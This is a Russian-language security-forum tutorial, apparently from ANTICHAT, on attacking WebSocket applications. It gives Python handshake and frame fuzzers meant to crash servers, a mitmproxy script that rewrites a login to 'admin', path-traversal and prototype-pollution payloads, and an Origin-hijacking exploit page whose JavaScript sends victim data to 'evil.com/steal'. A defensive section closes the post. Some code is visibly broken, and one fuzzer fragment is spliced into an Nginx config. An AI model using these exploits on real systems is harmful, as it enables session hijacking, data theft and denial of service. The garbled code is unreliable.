HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 13.01.2026, 23:43
xzotique
Новичок
Регистрация: 14.11.2025
Сообщений: 0
Провел на форуме:
0

Репутация: 0
По умолчанию



Сегодня на столе - WebSocket. Не та картинка, которую рисуют на хакатонах, а его пульсирующая изнанка: конфигурации, которые режут по живому, и тихая, почти невидимая эксплуатация.
WS Underworld: Когда живой канал становится твоей задней дверью
Зачем нам это?

Все слышали про WebSocket (далее WS). «Двунаправленный», «живой», «real-time». Этим словосочетаниями менеджеры и junior-архитекторы бросаются налево и направо. Веб превращается из груды запросов-ответов в нечто живое. Чатчики, трейдинговые панели, онлайн-игры, коллаборативные редакторы - красота.

Но хакерский взгляд видит иное. Он видит не канал для фич, а новую поверхность атаки. Огромную, часто забытую, плохо защищённую. Почему? Потому что WS ломает старую, привычную модель HTTP. Весь зоопарк WAF’ов (Web Application Firewall), который научился ловить SQLi, XSS и прочее в параметрах GET/POST, часто слепнет, глядя на поток бинарных или текстовых данных, льющихся по одному и тому же соединению. Потому что разработчики, внедрив
Код:
ws://
или
Код:
w://
, считают работу сделанной. Потому что в документации к фреймворкам раздел «безопасность» про WS часто помещается где-то между «благодарностями» и «лицензией».

Давай копать.

Часть 1: Основа. Не TCP и не HTTP - а своё собственное болото
Прежде чем ломать, нужно понять, как оно устроено. Не на уровне «рукопожатие и потом данные», а глубже.

1.1. Рукопожатие - точка входа

Классика. Клиент шлет HTTP Upgrade-запрос.

Код:


Код:
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: https://example.com
Sec-WebSocket-Version: 13
Сервер отвечает:

Код:


Код:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Вот здесь, в этом почти HTTP-обмене, уже лежит первый пласт уязвимостей. Всё, что относится к плохой обработке HTTP-заголовков, применимо и здесь. Но есть и специфика.
  • Sec-WebSocket-Key и Sec-WebSocket-Accept: Механизм для избежания кеширования прокси. Не аутентификация. Никогда. Многие думают, что это что-то вроде токена. Нет. Это deterministic-преобразование. Проверить его правильность можно, но это защита не от злоумышленника, а от древних прокси.
  • Origin: Вот он - ключевой заголовок. Основа политики Same-Origin для WS. Но его может не быть. В нативном JS браузера он добавляется автоматически. А что, если клиент - не браузер? Кастомный клиент на Python, C, Go? Он может отправить любой Origin, а может и не отправить вовсе. И тут всё зависит от сервера.
Практический инструмент №1: ws-harness (наш самопал)
Мы не будем полагаться на абстрактные curl-запросы. Давай набросаем простейший, но гибкий инструмент для тестирования рукопожатия. Python с библиотекой
Код:
websockets
- наш выбор.

Python:


Код:
import
asyncio
import
websockets
import
ssl
import
argparse
from
urllib
.
parse
import
urlparse
async
def
test_handshake
(
url
,
origin
=
None
,
subprotocols
=
[
]
,
headers
=
{
}
)
:
"""
    Кастомное рукопожатие. Играем с заголовками.
    """
parsed
=
urlparse
(
url
)
use_ssl
=
parsed
.
scheme
==
'wss'
# Кастомные заголовки
extra_headers
=
[
]
if
origin
:
extra_headers
.
append
(
(
'Origin'
,
origin
)
)
if
subprotocols
:
extra_headers
.
append
(
(
'Sec-WebSocket-Protocol'
,
', '
.
join
(
subprotocols
)
)
)
for
k
,
v
in
headers
.
items
(
)
:
extra_headers
.
append
(
(
k
,
v
)
)
try
:
async
with
websockets
.
connect
(
url
,
ssl
=
use_ssl
,
extra_headers
=
extra_headers
,
# Очень важный параметр! Показывает, как сервер реагирует на мусор.
subprotocols
=
subprotocols
if
subprotocols
else
None
,
timeout
=
10
)
as
ws
:
print
(
f"[+] Успешное соединение!"
)
print
(
f"    Выбранный подпротокол:{ws.subprotocol}"
)
# Можно сразу отправить тестовый фрейм
await
ws
.
send
(
"ping"
)
resp
=
await
asyncio
.
wait_for
(
ws
.
recv
(
)
,
timeout
=
2
)
print
(
f"    Ответ на 'ping':{resp}"
)
await
ws
.
close
(
)
except
Exception
as
e
:
print
(
f"[-] Ошибка соединения:{e}"
)
if
__name__
==
"__main__"
:
parser
=
argparse
.
ArgumentParser
(
description
=
'WS Handshake Tester'
)
parser
.
add_argument
(
'url'
,
help
=
'WS/WSS URL (e.g., ws://target:8080/chat)'
)
parser
.
add_argument
(
'--origin'
,
help
=
'Spoof Origin header'
)
parser
.
add_argument
(
'--subproto'
,
nargs
=
'+'
,
help
=
'List of subprotocols to request'
)
parser
.
add_argument
(
'--header'
,
action
=
'append'
,
help
=
'Custom header (format: Key:Value)'
)
args
=
parser
.
parse_args
(
)
custom_headers
=
{
}
if
args
.
header
:
for
h
in
args
.
header
:
k
,
v
=
h
.
split
(
':'
,
1
)
custom_headers
[
k
.
strip
(
)
]
=
v
.
strip
(
)
asyncio
.
run
(
test_handshake
(
args
.
url
,
args
.
origin
,
args
.
subproto
or
[
]
,
custom_headers
)
)
Запускаем:
Код:
python ws_harness.py ws://vulnerable-chat.local:8080/ws --origin httрs://evil.com/
Смотрим: принимает ли сервер соединение с левым Origin? Если да -первый флажок в нашу копилку. Это потенциальная уязвимость к WebSocket Origin Hijacking (об этом ниже).

1.2. После рукопожатия: фреймы, а не потоки

Здесь важно отойти от HTTP-мышления. Данные идут фреймами. У фрейма есть тип: текстовый (
Код:
0x1
), бинарный (
Код:
0x2
), закрытие (
Код:
0x8
), ping (
Код:
0x9
), pong (
Код:
0xA
) и т.д. Сервер должен уметь их парсить. Парсеры - сложные штуки. А что сложно, то можно сломать.

Уязвимость: Парсинг фреймов и DoS. Представь фрейм с заявленной длиной
Код:
2^63
- 1 байт (максимальное значение для 64-битного). Наивный парсер может зарезервировать под него память и упасть. Или фрейм с маской (клиентские фреймы должны маскироваться), где маска - мусор, и парсер уходит в бесконечный цикл. Это низкоуровнево, но реально. Чаще встречается в кастомных, самописных серверах на C++ или Rust.

Практический инструмент №2: ws_fuzzer
Берём библиотеку, которая позволяет собирать сырые фреймы. Например,
Код:
wsproto
или
Код:
python-socket
. Наша цель - не просто отправить данные, а отправить некорректный фрейм.

Python:


Код:
import
socket
import
ssl
import
struct
import
time
def
create_malformed_frame
(
opcode
=
0x1
,
payload
=
b""
,
masked
=
False
,
mask_key
=
None
,
fin
=
True
,
length_override
=
None
)
:
"""
    Собираем фрейм вручную. Можем сломать спецификацию.
    """
frame
=
bytearray
(
)
# FIN, RSV1-3, Opcode
first_byte
=
(
0b10000000
if
fin
else
0
)
|
(
opcode
&
0b00001111
)
frame
.
append
(
first_byte
)
# Mask bit и длина
payload_len
=
len
(
payload
)
if
length_override
is
not
None
:
payload_len
=
length_override
if
payload_len

0
:
# Если переопределили длину, добавляем мусор или ничего
frame
.
extend
(
b'X'
*
min
(
1000
,
length_override
)
)
# Чтобы не сожрать всю память
return
bytes
(
frame
)
def
send_malformed_handshake_and_frame
(
host
,
port
,
path
=
'/'
,
use_ssl
=
False
,
frame
=
None
)
:
"""
    Сначала выполняем обычное рукопожатие, потом шлём битый фрейм.
    """
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
if
use_ssl
:
context
=
ssl
.
create_default_context
(
)
context
.
check_hostname
=
False
context
.
verify_mode
=
ssl
.
CERT_NONE
        sock
=
context
.
wrap_socket
(
sock
,
server_hostname
=
host
)
sock
.
connect
(
(
host
,
port
)
)
# Стандартное рукопожатие
handshake
=
(
f"GET{path}HTTP/1.1\r\n"
f"Host:{host}:{port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"\r\n"
)
.
encode
(
)
sock
.
send
(
handshake
)
resp
=
sock
.
recv
(
4096
)
print
(
f"[*] Ответ на рукопожатие:{resp[:200]}..."
)
if
b"101 Switching Protocols"
in
resp
:
print
(
"[+] Рукопожатие успешно. Шлём злой фрейм."
)
time
.
sleep
(
0.5
)
sock
.
send
(
frame
)
# Ждём ответа (может не быть) или падения
try
:
sock
.
settimeout
(
3
)
response
=
sock
.
recv
(
1024
)
print
(
f"[*] Ответ сервера:{response}"
)
except
socket
.
timeout
:
print
(
"[!] Таймаут. Сервер мог упасть или замолчать."
)
except
ConnectionResetError
:
print
(
"[!] Соединение разорвано сервером (возможно, креш)."
)
else
:
print
(
"[-] Рукопожатие провалилось."
)
sock
.
close
(
)
# Примеры злых фреймов:
# 1. Огромная длина
frame_huge_len
=
create_malformed_frame
(
opcode
=
0x1
,
payload
=
b"test"
,
length_override
=
(
2
**
63
-
1
)
)
# 2. Неверный opcode (например, 0x3 - зарезервирован)
frame_bad_opcode
=
create_malformed_frame
(
opcode
=
0x3
,
payload
=
b"reserved"
)
# 3. Фрейм с флагом RSV1 (для расширений), который не поддерживается
frame_rsv
=
bytearray
(
b'\xC1\x05hello'
)
# FIN=1, RSV1=1, Opcode=0x1 (текст), маска=0, длина=5
frame_rsv
.
extend
(
b'hello'
)
# Использование:
# send_malformed_handshake_and_frame('localhost', 8080, '/ws', use_ssl=False, frame=frame_huge_len)
Важное предупреждение: Этот инструмент для тестирования твоих собственных серверов в изолированном стенде. Отправка таких фреймов на чужую инфраструктуру без явного разрешения - это криминал. Мы говорим об исследовании, а не о вандализме.

1.3. Подпротоколы (Subprotocols)

Поле
Код:
Sec-WebSocket-Protocol
в рукопожатии. Задумано для согласования формата данных (например,
Код:
soap
,
Код:
wamp
,
Код:
graphql-ws
). Сервер должен выбрать ОДИН из предложенных или отказаться. Типичная ошибка: сервер принимает первый подпротокол из списка клиента без проверки или, что ещё хуже, исполняет логику в зависимости от подпротокола.

Атака: Клиент шлёт список:
Код:
Sec-WebSocket-Protocol: secret-admin-protocol, chat
. Если сервер наивен и просто берёт первый, который знает, он выберет chat. Но если в его коде есть ветка:

JavaScript:


Код:
if
(
chosenProtocol
===
'secret-admin-protocol'
)
{
enableAdminMode
(
ws
)
;
}
А сервер проверяет подпротокол после рукопожатия, и проверка кривая… Можно попробовать внедрить что-то. Или просто вызвать ошибку, ведущую к раскрытию информации.

Тестируем нашим ws-harness:
Код:
python ws_harness.py wss://target/ws --subproto "..\..\bin\bash" "chat"
Часть 2: Уязвимости конфигурации - хлеб насущный
Теперь от низкоуровневых тонкостей перейдём к тому, что встречается в 90% случаев. Конфиги. То, что настраивают админы и разработчики, не думая о WS.

2.1. Отсутствие проверки Origin (WebSocket Origin Hijacking)

Самая распространённая дыра. Суть: сервер не проверяет заголовок Origin при рукопожатии или проверяет его некорректно.
  • Сценарий 1: Полное игнорирование. Сервер принимает соединение с любым Origin, даже без него. Любой сайт в интернете через JS может открыть WS-соединение к такому серверу от имени пользователя, у которого есть сессия на целевом сервисе (если это браузерное приложение). Это классическая CSRF, но на уровне сокета.
  • Сценарий 2: Проверка по "whitelist", но с ошибкой. Например, проверка
    Код:
    origin.includes("tаrget.com")
    . Тогда
    Код:
    evil-tаrget.com
    или target.com.evil.ru пройдут.
  • Сценарий 3: Путаница с null Origin. Origin: null возникает при открытии HTML-файла с диска (
    Код:
    file://
    ) или в некоторых

    Код:
    sandboxed-iframe
    . Если сервер разрешает
    Код:
    null
    - это может быть лазейкой.
Эксплуатация:
  1. Находим WS-эндпоинт (например,
    Код:
    wss://app.tаrget.com/ws
    ).
  2. Создаём зловредную страницу на своём домене (
    Код:
    https://еvil.com/exploit.html
    ).
  3. На странице JS-код:

JavaScript:


Код:
const
ws
=
new
WebSocket
(
'wss://app.target.com/ws'
)
;
ws
.
onopen
=
(
)
=>
{
// Мы внутри! Сессия пользователя, открывшего evil.com, используется.
ws
.
send
(
JSON
.
stringify
(
{
action
:
"getUserData"
}
)
)
;
}
;
ws
.
onmessage
=
(
event
)
=>
{
// Пересылаем данные на свой сервер
fetch
(
'https://evil.com/steal'
,
{
method
:
'POST'
,
body
:
event
.
data
}
)
;
}
;
4. Заманиваем жертву (пользователя
Код:
аpp.target.com
) на
Код:
evil.сom
. WS-соединение в браузере автоматически прикрепит куки сессии к рукопожатию (если не стоит
Код:
SameSite=Strict
). Пабеда.

Защита (со стороны сервера): Строгая проверка Origin на бэкенде. Сравнивать полное совпадение с доверенными доменами. Никаких includes, только точное соответствие или проверка по списку.

2.2. Отсутствие аутентификации/авторизации на уровне WS-соединения

Типичный кейс: приложение делает HTTP-логин, устанавливает сессионную куку. Потом открывает WS-соединение. Логика на сервере:

JavaScript:


Код:
// ПСЕВДОКОД! Пример плохой практики.
wss
.
on
(
'connection'
,
(
ws, req
)
=>
{
// 1. Нет проверки, аутентифицирован ли пользователь.
// 2. Предполагается, что раз соединение пришло с того же домена (Origin), то всё ОК.
// 3. Или проверяется "токен" в query string, который можно перебрать.
const
url
=
new
URL
(
req
.
url
,
'http://dummy'
)
;
const
token
=
url
.
searchParams
.
get
(
'token'
)
;
if
(
token
===
'someStaticSecret'
)
{
// Ужасно!
ws
.
user
=
{
role
:
'admin'
}
;
}
// Дальше вся логика чата/игры и т.д.
}
)
;
Уязвимости:
  • Predictable URL/токен. Если для подключения к WS нужен параметр (
    Код:
    /ws?token=SECRET
    ), и этот SECRET - общий для всех или слабый (инкрементируется), его можно угадать или найти в JS-файлах приложения.
  • Отсутствие привязки к HTTP-сессии. Даже если есть HTTP-сессия, сервер WS должен как-то понять, какой пользователь подключился. Часто это делают через передачу сессионной куки или токена в query string при установке соединения. Если эта передача не защищена (например, токен виден в логах прокси), его можно перехватить.
  • Авторизация после соединения. Сервер принимает соединение, а уже потом ждёт от клиента сообщение типа
    Код:
    {"auth": "token"}
    . До этой команды клиент уже может иметь какой-то доступ (например, слушать общие каналы). Это может привести к утечке информации.
Практический инструмент №3: Сниффинг и перехват WS-трафика
Для эксплуатации нужно понять, как клиент аутентифицируется. Браузерные DevTools (вкладка
Код:
Network
-> WS) покажут URL соединения и все фреймы. Но если нужно глубже или работать с десктоп-клиентами, используем mitmproxy.

Код:
Mitmproxy
имеет встроенную поддержку WebSocket. Можно писать скрипты для автоматической модификации фреймов.

Пример скрипта для mitmproxy (ws_injector.py):

Python:


Код:
from
mitmproxy
import
ctx
,
http
from
mitmproxy
.
websocket
import
WebSocketFlow
def
websocket_message
(
flow
:
WebSocketFlow
)
:
"""
    Вызывается для каждого сообщения WS.
    flow.messages - список сообщений (from_client, content).
    """
message
=
flow
.
messages
[
-
1
]
if
message
.
from_client
:
ctx
.
log
.
info
(
f"Client -> Server:{message.content}"
)
# Пример: если видим сообщение с логином, подменим его
if
b'"login":"user"'
in
message
.
content
:
new_content
=
message
.
content
.
replace
(
b'"login":"user"'
,
b'"login":"admin"'
)
message
.
content
=
new_content
            ctx
.
log
.
warn
(
f"Injected admin login!"
)
else
:
ctx
.
log
.
info
(
f"Server -> Client:{message.content}"
)
def
request
(
flow
:
http
.
HTTPFlow
)
:
# Перехватываем HTTP-запрос на рукопожатие
if
"websocket"
in
flow
.
request
.
headers
.
get
(
"upgrade"
,
""
)
.
lower
(
)
:
ctx
.
log
.
info
(
f"WS Handshake to:{flow.request.path}"
)
# Можно подменить заголовок Origin
# flow.request.headers["origin"] = "https://trusted.com"
Запуск:
Код:
mitmweb -s ws_injector.py
(с веб-интерфейсом). Настраиваем браузер или систему на использование прокси mitmproxy. Всё, мы видим все фреймы и можем их менять на лету.

2.3. Небезопасные WSS (SSL/TLS конфигурации)

Код:
ws://
- это чистейший текст. Его нельзя использовать в продакшене, точка. Но и
Код:
wss://
- не панацея. Всё, что относится к плохой SSL/TLS конфигурации (устаревшие протоколы, слабые шифры, самоподписанные сертификаты без проверки на клиенте), применимо и тут.

Особенность: многие WS-клиенты (особенные в desktop-приложениях на Electron или мобильных) отключают проверку сертификатов для удобства. В коде это выглядит как
Код:
rejectUnauthorized: false
в Node.js или аналог. Это означает, что MITM-атака с самоподписанным сертификатом становится тривиальной.

Как искать? Статический анализ клиентского кода (если он доступен, как в Electron-приложениях). Или динамический анализ: запустить приложение, поставить ему в прокси что-то вроде
Код:
Burp Suite
или
Код:
mitmproxy
с собственным сертификатом, и посмотреть - примет ли оно соединение.

2.4. Конфигурация файервола и балансировщиков

WS работает на том же порту, что и HTTP(S) (чаще всего
Код:
80/443
). Но его поведение иное: одно долгоживущее соединение вместо множества коротких.
  • Таймауты. Балансировщики (Nginx, HAProxy, облачные LB) имеют таймауты для
    Код:
    keep-alive
    соединений. Для WS их нужно увеличивать (часы, а не секунды). Если не увеличить, соединение будет обрываться по таймауту неактивности (ping/pong могут не помочь, если балансировщик их не понимает).
  • Буферы. Большие фреймы или высокая частота сообщений могут переполнять буферы балансировщика, если они заточены под мелкие HTTP-запросы.
  • Проксирование заголовков. Балансировщик должен корректно проксировать заголовки, особенно Upgrade и Connection. И, что критично, заголовки, которые используются для аутентификации (куки, Authorization). Ошибки в конфигах Nginx
    Код:
    (proxy_set_header)
    могут привести к тому, что бэкенд получит соединение без сессионной куки и откроет его для анонима.
Пример плохой конфигурации Nginx:

Код:


Код:
location /ws/ {
    proxy_pass http://backend;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    # ЗАБЫЛИ ПРОКИНУТЬ КУКИ! Бэкенд не увидит Cookie.
    # proxy_set_header Cookie $http_cookie;  может сломать логику парсинга
payloads
.
append
(
new
)
# 3. Path Traversal, если есть параметры, похожие на пути
for
key
,
val
in
template
.
items
(
)
:
if
'path'
in
key
.
lower
(
)
or
'file'
in
key
.
lower
(
)
or
isinstance
(
val
,
str
)
and
(
'../'
in
val
or
'\\'
in
val
)
:
for
traversal
in
[
'../../../etc/passwd'
,
'C:\\Windows\\system32\\cmd.exe'
]
:
new
=
template
.
copy
(
)
new
[
key
]
=
traversal
                payloads
.
append
(
new
)
# 4. Большие данные для проверки на DoS
big_string
=
'A'
*
100000
for
key
in
template
:
new
=
template
.
copy
(
)
new
[
key
]
=
big_string
        payloads
.
append
(
new
)
return
payloads
async
def
fuzz_protocol
(
url
,
auth_message
=
None
,
test_messages
=
[
]
)
:
"""
    Устанавливаем соединение (возможно, с аутентификацией), затем фаззим.
    """
async
with
websockets
.
connect
(
url
)
as
ws
:
# Если нужна аутентификация
if
auth_message
:
await
ws
.
send
(
json
.
dumps
(
auth_message
)
)
resp
=
await
ws
.
recv
(
)
print
(
f"[*] Auth response:{resp}"
)
for
original_msg
in
test_messages
:
payloads
=
generate_payloads
(
original_msg
)
for
p
in
payloads
:
try
:
await
ws
.
send
(
json
.
dumps
(
p
)
)
# Ждём ответ с небольшим таймаутом
resp
=
await
asyncio
.
wait_for
(
ws
.
recv
(
)
,
timeout
=
2.0
)
print
(
f"[?] Для{p}-> Ответ:{resp[:200]}"
)
# Анализируем ответ: ошибки, таймауты, странные данные
if
"error"
in
resp
.
lower
(
)
or
"exception"
in
resp
:
print
(
f"[!] Возможная уязвимость при payload{p}"
)
print
(
f"    Ответ:{resp}"
)
except
asyncio
.
TimeoutError
:
print
(
f"[!] Таймаут для payload{p}. Возможный DoS или краш."
)
except
websockets
.
exceptions
.
ConnectionClosed
:
print
(
f"[!] Соединение закрыто сервером после payload{p}. Серьёзно!"
)
# Переподключаемся для следующего теста
return
3.2. Недостаточная изоляция комнат/каналов (Pub/Sub)

Многие WS-приложения используют модель
Код:
Pub/Sub
(публикация/подписка). Пользователь подписывается на "комнату" или "канал". Уязвимость возникает, если:
  1. Имя канала предсказуемо (например,
    Код:
    user-123-private
    ).
  2. Нет проверки прав на подписку на этот канал.
Атака: Узнав ID другого пользователя (часто он есть в URL или публичном профиле), злоумышленник подписывается на канал

Код:
user-victim_id-private
и получает все его личные уведомления, сообщения, изменения данных в реальном времени.

3.3. Состояние и race conditions

WS соединение - состояние. На сервере объект
Код:
WebSocketClient
часто привязан к объекту
Код:
User
. Что, если два соединения от одного пользователя? Как сервер обрабатывает конкурирующие команды? Например:
  1. Сообщение "перевести деньги X -> Y".
  2. Быстро отправить две таких команды в параллельных соединениях. Проверка баланса может произойти до списания в обоих случаях, что приведёт к двойному списанию или даже отрицательному балансу (если проверка "достаточно ли денег" идёт в начале, а списание - позже).
Тестируется сложно, но возможно через создание множества соединений с одним и тем же токеном аутентификации и отправкой синхронизированных команд.

3.4. Межсайтовое взаимодействие через WS (CSRF vs WS-Hijacking)

Мы уже говорили про Origin. Но есть нюанс: даже если Origin проверяется, классическая CSRF-защита (токены) не работает для WS, потому что браузер не позволяет устанавливать кастомные заголовки в WS-рукопожатии через
Код:
JS API
. Значит, основная защита - это проверка Origin и наличие сессионной куки.

Однако, если приложение использует для аутентификации в WS не куки, а токен в параметре URL (
Код:
/ws?token=...
), и этот токен можно получить легитимно (например, он отображается на странице после логина), то возникает классическая CSRF: зловредный сайт может вставить
Код:
img src="https://target.com/get_token?for=attacker;
, получить токен, и затем открыть WS-соединение с ним. Защита: токены должны быть привязаны к сессии и не выдаваться по сторонним запросам без явного согласия пользователя (OAuth, например).

Часть 4: Инструментарий паука - что использовать в разведке и атаке
Соберём всё воедино. Как выглядит процесс тестирования WS с нуля?

4.1. Разведка (Recon)
  1. Поиск эндпоинтов: Парсим JS-файлы приложения (
    Код:
    app.js
    ,
    Код:
    main.chunk.js
    ) на предмет нового WebSocket(
    Код:
    ws://
    ,
    Код:
    wss://
    ,
    Код:
    /socket.io
    ,
    Код:
    /ws
    . Инструменты:
    Код:
    grep
    ,
    Код:
    Burp Suite
    , кастомные скрипты.
  2. Анализ трафика: Открываем приложение в браузере с DevTools. Смотрим вкладку
    Код:
    Network
    ->
    Код:
    WS
    . Изучаем:
    • URL эндпоинта.
    • Заголовки рукопожатия (особенно
      Код:
      Origin
      ,
      Код:
      Sec-WebSocket-Protocol
      ).
    • Формат сообщений (JSON, бинарный, текст).
    • Последовательность сообщений (аутентификация, подписка и т.д.).
  3. Сбор информации о сервере: Ответы сервера могут содержать заголовки, раскрывающие технологии (
    Код:
    Server: Node.js
    ,

    Код:
    X-Powered-By: Socket.io
    ). Иногда в ошибках (при некорректном рукопожатии) можно увидеть стектрейсы.
4.2. Фаззинг и тестирование на уязвимости
  1. Рукопожатие: Используем наш
    Код:
    ws-harness
    для проверки Origin, Subprotocols, кастомных заголовков.
  2. Протокол: Используем расширенный фаззер для инъекций, подмены сообщений. Перехватываем трафик через mitmproxy и модифицируем его.
  3. Авторизация: Пробуем подключиться без токена, с чужим токеном (если можем его добыть или предсказать).
  4. Изоляция: Пробуем подписаться на чужие каналы, отправить сообщение от чужого имени.
  5. Нагрузочное тестирование (осторожно!): Проверяем, как сервер реагирует на тысячи соединений, на огромные фреймы, на частые ping/pong. Инструменты:
    Код:
    autobahn-testsuite
    (полезен и для негативного тестирования),
    Код:
    websocket-bench
    .
4.3. Эксплуатация
  1. Для Origin Hijacking: Пишем эксплоит-страницу, размещаем на своём сервере, заманиваем жертву.
  2. Для инъекций: Используем скомпрометированный доступ для кражи данных, эскалации привилегий (подмена "user_id" в сообщениях).
  3. Для десериализации: Готовим шелл-код для конкретной технологии и отправляем его в бинарном сообщении.
Часть 5: Защита - как не стать жертвой
Защита - это не список "сделайте так". Это понимание принципов.
  1. Всегда используй WSS (TLS). Никаких
    Код:
    ws://
    в продакшене. Настрой правильные шифры, отключи старые протоколы.
  2. Жёсткая проверка Origin. На сервере. Сравнивай полное совпадение с белым списком. Не доверяй заголовку, если он пришёл от непроверенного клиента (но в браузере он надёжен).
  3. Аутентификация и авторизация ДО открытия WS-соединения. Идеальный вариант: сессионная кука, которая автоматически отправляется браузером, проверяется на бэкенде при рукопожатии, и только потом создаётся объект соединения, привязанный к объекту пользователя. Альтернатива - одноразовые токены в
    Код:
    query string
    , генерируемые страницей после проверки сессии.
  4. Валидация входных данных. Все сообщения, пришедшие по WS, должны проверяться так же тщательно, как параметры HTTP-запроса. Схемы, типы, диапазоны.
  5. Изоляция. Проверяй права пользователя на каждое действие (подписка на канал, отправка сообщения в канал). Идентификаторы каналов должны быть криптостойкими (UUID, а не инкрементальные ID) или проверяться через доступ.
  6. Лимиты. Ограничивай:
    • Размер фрейма.
    • Частоту сообщений от одного соединения.
    • Количество соединений с одного IP/пользователя.
    • Общее количество соединений на сервере.
  7. Настрой инфраструктуру. Увеличь таймауты для WS в балансировщиках. Убедись, что все нужные заголовки (особенно куки) проксируются. Рассмотри использование специализированных прокси для WS (например, специализированный сервер Socket.io с адаптером для кластеризации).
  8. Пинг-понг. Реализуй механизм
    Код:
    ping/pong
    для обнаружения "висячих" соединений и сброса не отвечающих клиентов.
  9. Логирование и мониторинг. Логируй установку и разрыв соединения (с идентификатором пользователя). Мониторь аномальную активность: всплески сообщений, попытки подключения с левыми Origin.
Это не дыра в теории, это дверь в реальности
WebSocket - прекрасная технология, которая стирает границы между клиентом и сервером. Но именно эта «стираемость» и является её главной опасностью.

Давай остановимся на слове «стирает». Это не красивая метафора из буклета. Это технический факт, который меняет всё. В модели HTTP/1.1, которую мы все (не)любим, границы были чёткими, как линии в консоли. Есть запрос. От клиента. С заголовками, телом, методом. И есть ответ. От сервера. Конец истории. Каждый такой обмен это атомарное событие. Его можно логгировать, ему можно назначить уникальный ID, его можно прервать, не трогая другие. Фаерволы и WAF’ы заточены под эту дискретность. Они умеют «понимать», где начало, а где конец. Они живут в мире stateless-взаимодействий, даже поверх keep-alive.

WebSocket эту модель не просто нарушает. Он её выносит за скобки. После рукопожатия, который лишь формально является HTTP-пакетом, устанавливается постоянный, двунаправленный канал. Это уже не обмен пакетами. Это туннель. Сетевой сокет, поднятый на уровень приложения и завёрнутый в браузерный API.

Вот что на самом деле означает «стирание границ»:
  • Стирается граница между «запросом» и «сессией». Весь обмен данными теперь происходит в рамках одной долгоживущей сессии-сокета. WAF, который привык инспектировать каждый отдельный HTTP-запрос, часто просто пропускает весь поток данных после 101-го кода, доверяя, что раз рукопожатие прошло, то дальше - валидный WS-трафик. Но внутри этого трафика может течь всё что угодно: и SQL-инъекции, и команды на десериализацию, и попытки подписки на чужие каналы. Фаервол слепнет, потому что его парсер HTTP останавливается на первом двойном переводе строки после
    Код:
    101 Switching Protocols
    .
  • Стирается граница между клиентом и сервером в роли инициатора. В HTTP сервер - всегда отвечающая сторона. В WebSocket сервер может отправить данные когда захочет. Это ломает ментальные модели безопасности, построенные вокруг обработки входящих запросов. Теперь «входящее» может прийти в любой момент, и логика авторизации должна быть готова к этому. Слабая, одноразовая проверка при коннекте уже не катит.
  • Стирается граница между транспортом и протоколом приложения. Разработчик думает: «Я использую WebSocket». На деле он использует два слоя: 1) транспортный протокол WS (фреймы,
    Код:
    ping/pong
    ), и 2) свой, кастомный протокол приложения, который бежит поверх этих фреймов (
    Код:
    JSON-RPC
    ,
    Код:
    STOMP
    , просто поток JSON-объектов). Безопасность первого слоя (валидность фреймов, маски, Origin) - ответственность библиотеки. Безопасность второго слоя (валидация JSON-полей, проверка прав на действие
    Код:
    {"action": "deleteUser"}
    ) - полностью на разработчике. И здесь происходит фатальная подмена: защитив транспорт (скажем, поставив WSS), он считает, что защитил и приложение. Это как поставить бронированную дверь в дом со стенами из картона.
Она создаёт иллюзию «своего» канала, доверительного, почти что внутреннего.

Эта иллюзия - самый коварный враг. После установки соединения, особенно внутри одного домена (тот же Origin), у разработчика возникает чувство, что он общается не с внешним, потенциально враждебным миром, а со своим доверенным клиентом. В его голове это выглядит как прямая линия между двумя модулями одной системы. Почти как
Код:
IPC
(Inter-Process Communication), но через сеть.

Чем это проявляется в коде? Давай посмотрим на реальные, вшитые в мясо, антипаттерны:
  1. Пропуск авторизации для «служебных» сообщений. Пример из жизни микросервисной архитектуры:

    Код:
    if (message.type === 'healthcheck') { ws.send('ok'); return; }
    . Здорово, правда? Быстрый внутренний пинг. А если злоумышленник просто начнёт слать
    Код:
    {"type": "healthcheck"}
    каждую миллисекунду? Это DoS, который обходит все тяжёлые middleware аутентификации.
  2. Доверие к данным «внутреннего» формата. «Мы же внутри своего протокола, тут всё структурировано». И в обработчик приходит
    Код:
    JSON: {"cmd": "update", "settings": {"theme": "dark"}}
    . А что, если прислать

    Код:
    {"cmd": "update", "settings": {"theme": "dark"}, "__proto__": {"isAdmin": true}}
    ? Или если парсер на Node.js использует JSON.parse без проверок, а потом где-то глубоко в логике происходит мерж объектов
    Код:
    Object.assign(target, receivedData.settings)
    . Иллюзия «внутреннего» формата усыпляет бдительность к классическим атакам на сериализацию и прототипы.
  3. Отсутствие rate limiting и мониторинга. На HTTP-роут
    Код:
    /api/login
    обычно ставят лимиты в 10 запросов в минуту с IP. А на WS-соединение, которое раз установлено и может слать 1000 сообщений в секунду - ставят? Чаще всего нет. Потому что это же «живое соединение», «чат должен быть быстрым». Иллюзия доверительного канала отключает мысль о злоупотреблении.
И в эту иллюзию вписываются и разработчики, забывающие про безопасность, и администраторы, копирующие HTTP-конфиги для WS.

Разработчик, забывающий про безопасность, - это не обязательно ленивый джун. Это человек, который сосредоточен на функциональности. Он читает туториал: «Как сделать чат на Socket.io за 10 минут». В туториале после установки соединения сразу идёт

Код:
socket.on('chat message', ...)
. Ни слова про
Код:
